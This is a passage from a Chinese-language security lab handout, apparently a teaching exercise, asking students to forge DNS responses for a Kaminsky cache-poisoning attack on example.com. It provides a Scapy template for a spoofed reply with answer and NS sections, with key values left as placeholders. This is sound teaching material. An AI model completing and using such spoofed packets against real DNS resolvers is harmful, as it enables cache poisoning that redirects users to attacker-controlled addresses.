在此任务中,我们需要伪造 Kaminsky 攻击中的 DNS 响应。由于我们的攻击目标是 example.com,我们需要伪造从该域的域名服务器返回的响应。学生首先需要找到 example.com 的合法域名服务器的 IP 地址 (值得注意的是这个域名有多个域名服务器)。
学生可以使用 Scapy 来实现这个任务,以下的代码示例构建了一个 DNS 响应包,其中包含了问题部分,回答部分以及一个域名服务器部分。在这段代码中,我们使用 +++ 作为占位符,学生需要用 Kaminsky 攻击中所需要的值来替换。学生需要解释为什么选择这些值。
name = '+++'
domain = '+++'
ns = '+++'
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
qd=Qdsec, an=Anssec, ns=NSsec)
ip = IP(dst='+++', src='+++')
udp = UDP(dport=+++, sport=+++, chksum=0)
reply = ip/udp/dns